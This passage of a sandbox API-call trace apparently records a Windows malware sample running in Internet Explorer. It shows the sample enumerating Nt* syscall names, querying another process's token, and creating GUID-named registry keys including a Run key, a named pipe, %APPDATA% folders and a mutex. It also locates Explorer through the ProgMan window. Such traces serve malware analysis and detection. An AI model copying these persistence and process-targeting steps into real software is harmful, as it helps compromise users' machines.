(lpString="NtAlpcRevokeSecurityContext") returned 27 [0081.775] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0081.775] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0081.775] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0081.775] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0081.775] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0081.775] lstrlenA (lpString="NtCallbackReturn") returned 16 [0081.775] lstrlenA (lpString="NtCancelIoFile") returned 14 [0081.775] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0081.775] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0081.775] lstrlenA (lpString="NtCancelTimer") returned 13 [0081.775] lstrlenA (lpString="NtClearEvent") returned 12 [0081.775] lstrlenA (lpString="NtClose") returned 7 [0081.775] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0081.775] lstrlenA (lpString="NtCommitComplete") returned 16 [0081.775] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0081.775] lstrlenA (lpString="NtCommitTransaction") returned 19 [0081.776] lstrlenA (lpString="NtCompactKeys") returned 13 [0081.776] lstrlenA (lpString="NtCompareTokens") returned 15 [0081.776] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0081.776] lstrlenA (lpString="NtCompressKey") returned 13 [0081.776] lstrlenA (lpString="NtConnectPort") returned 13 [0081.776] lstrlenA (lpString="NtContinue") returned 10 [0081.776] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0081.776] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0081.776] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0081.776] lstrlenA (lpString="NtCreateEvent") returned 13 [0081.776] lstrlenA (lpString="NtCreateEventPair") returned 17 [0081.776] lstrlenA (lpString="NtCreateFile") returned 12 [0081.776] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0081.776] lstrlenA (lpString="NtCreateJobObject") returned 17 [0081.776] lstrlenA (lpString="NtCreateJobSet") returned 14 [0081.776] lstrlenA (lpString="NtCreateKey") returned 11 [0081.776] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0081.776] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0081.776] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0081.776] lstrlenA (lpString="NtCreateMutant") returned 14 [0081.776] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0081.776] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0081.776] lstrlenA (lpString="NtCreatePort") returned 12 [0081.776] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0081.776] lstrlenA (lpString="NtCreateProcess") returned 15 [0081.776] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0081.776] lstrlenA (lpString="NtCreateProfile") returned 15 [0081.776] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0081.776] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0081.776] lstrlenA (lpString="NtCreateSection") returned 15 [0081.776] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0081.781] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75220000 [0081.781] GetProcAddress (hModule=0x75220000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7522ca94 [0081.781] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0081.789] NtOpenProcess (in: ProcessHandle=0x37fdec, DesiredAccess=0x400, ObjectAttributes=0x37fdcc*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x37fde4*(UniqueProcess=0x130, UniqueThread=0x0) | out: ProcessHandle=0x37fdec*=0xf4) returned 0x0 [0081.789] NtOpenProcessToken (in: ProcessHandle=0xf4, DesiredAccess=0x8, TokenHandle=0x37fdf0 | out: TokenHandle=0x37fdf0*=0xf8) returned 0x0 [0081.789] NtQueryInformationToken (in: TokenHandle=0xf8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x37fdf4 | out: TokenInformation=0x0, ReturnLength=0x37fdf4) returned 0xc0000023 [0081.789] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x24) returned 0x27489e0 [0081.789] NtQueryInformationToken (in: TokenHandle=0xf8, TokenInformationClass=0x1, TokenInformation=0x27489e0, TokenInformationLength=0x24, ReturnLength=0x37fdf4 | out: TokenInformation=0x27489e0, ReturnLength=0x37fdf4) returned 0x0 [0081.789] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.789] NtClose (Handle=0xf8) returned 0x0 [0081.789] NtClose (Handle=0xf4) returned 0x0 [0081.789] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76d00000 [0081.790] GetProcAddress (hModule=0x76d00000, lpProcName="StrRChrA") returned 0x76d0ccf5 [0081.790] StrRChrA (lpStart="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpEnd=0x0, wMatch=0x5c) returned="\\iexplore.exe" [0081.790] _strupr (in: _String=0x27487f9 | out: _String="IEXPLORE.EXE") returned="IEXPLORE.EXE" [0081.790] lstrlenA (lpString="IEXPLORE.EXE") returned 12 [0081.791] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.791] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76c00000 [0081.792] GetProcAddress (hModule=0x76c00000, lpProcName="wsprintfA") returned 0x76c2ae5f [0081.792] wsprintfA (in: param_1=0x27489e0, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0081.792] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x4e) returned 0x2748a10 [0081.792] lstrcpyA (in: lpString1=0x2748a10, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0081.792] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0081.792] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.792] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0081.792] lstrlenA (lpString="\\Vr") returned 3 [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x4f) returned 0x2748a68 [0081.792] lstrcpyA (in: lpString1=0x2748a68, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0081.792] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0081.792] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0081.792] lstrlenA (lpString="\\Sfi") returned 4 [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x50) returned 0x2748ac0 [0081.792] lstrcpyA (in: lpString1=0x2748ac0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0081.792] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0081.792] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0081.792] lstrlenA (lpString="\\Run") returned 4 [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x50) returned 0x2748b18 [0081.792] lstrcpyA (in: lpString1=0x2748b18, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0081.792] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0081.792] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0081.792] lstrlenA (lpString="\\Config") returned 7 [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x53) returned 0x2748b70 [0081.792] lstrcpyA (in: lpString1=0x2748b70, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0081.792] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.792] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0081.792] lstrlenA (lpString="Local\\") returned 6 [0081.792] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748bd0 [0081.793] lstrcpyA (in: lpString1=0x2748bd0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.793] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0081.793] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.793] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0081.793] lstrlenA (lpString="Local\\") returned 6 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748c08 [0081.793] lstrcpyA (in: lpString1=0x2748c08, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.793] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0081.793] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.793] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0081.793] lstrlenA (lpString="Local\\") returned 6 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748c40 [0081.793] lstrcpyA (in: lpString1=0x2748c40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.793] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0081.793] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.793] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0081.793] lstrlenA (lpString="Local\\") returned 6 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748c78 [0081.793] lstrcpyA (in: lpString1=0x2748c78, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.793] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0081.793] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.793] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0081.793] lstrlenA (lpString="Local\\") returned 6 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748cb0 [0081.793] lstrcpyA (in: lpString1=0x2748cb0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.793] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0081.793] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.793] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0081.793] lstrlenA (lpString="Local\\") returned 6 [0081.793] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748ce8 [0081.793] lstrcpyA (in: lpString1=0x2748ce8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.793] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0081.793] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.794] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0081.794] lstrlenA (lpString="Local\\") returned 6 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748d20 [0081.794] lstrcpyA (in: lpString1=0x2748d20, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.794] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0081.794] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.794] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0081.794] lstrlenA (lpString="Local\\") returned 6 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748d58 [0081.794] lstrcpyA (in: lpString1=0x2748d58, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.794] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0081.794] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.794] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0081.794] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x2748d90 [0081.794] lstrcpyA (in: lpString1=0x2748d90, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0081.794] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0081.794] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.794] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0081.794] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x3b) returned 0x2748dc8 [0081.794] lstrcpyA (in: lpString1=0x2748dc8, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0081.794] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0081.794] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.794] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0081.794] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x3b) returned 0x2748e10 [0081.794] lstrcpyA (in: lpString1=0x2748e10, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0081.794] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0081.794] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.794] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0081.794] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0081.794] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x3b) returned 0x2748e58 [0081.794] lstrcpyA (in: lpString1=0x2748e58, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0081.794] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0081.795] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.795] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0081.795] lstrlenA (lpString="Local\\") returned 6 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748ea0 [0081.795] lstrcpyA (in: lpString1=0x2748ea0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.795] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0081.795] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.795] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0081.795] lstrlenA (lpString="Local\\") returned 6 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748ed8 [0081.795] lstrcpyA (in: lpString1=0x2748ed8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.795] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0081.795] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.795] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0081.795] lstrlenA (lpString="Local\\") returned 6 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748f10 [0081.795] lstrcpyA (in: lpString1=0x2748f10, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.795] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0081.795] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.795] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0081.795] lstrlenA (lpString="Local\\") returned 6 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2d) returned 0x2748f48 [0081.795] lstrcpyA (in: lpString1=0x2748f48, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0081.795] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0081.795] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x27489e0 [0081.795] wsprintfA (in: param_1=0x27489e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A6611EF7-CD0C-C847-873A-517CAB0E1570}") returned 38 [0081.795] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x27) returned 0x2748f80 [0081.795] lstrcatA (in: lpString1="", lpString2="{A6611EF7-CD0C-C847-873A-517CAB0E1570}" | out: lpString1="{A6611EF7-CD0C-C847-873A-517CAB0E1570}") returned="{A6611EF7-CD0C-C847-873A-517CAB0E1570}" [0081.795] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489e0 | out: hHeap=0x2350000) returned 1 [0081.795] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76c00000 [0081.795] GetProcAddress (hModule=0x76c00000, lpProcName="GetWindowThreadProcessId") returned 0x76c191b4 [0081.796] GetProcAddress (hModule=0x76c00000, lpProcName="FindWindowA") returned 0x76c1ffe6 [0081.796] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0081.796] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x37fdf8 | out: lpdwProcessId=0x37fdf8) returned 0x45c [0081.796] lstrlenW (lpString="") returned 0 [0081.796] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xf4 [0081.796] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x404cff) returned 0x13e820 [0081.796] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x40) returned 0x2748fb0 [0081.796] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{A6611EF7-CD0C-C847-873A-517CAB0E1570}") returned 0xf8 [0081.796] GetLastError () returned 0x0 [0081.796] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489e0 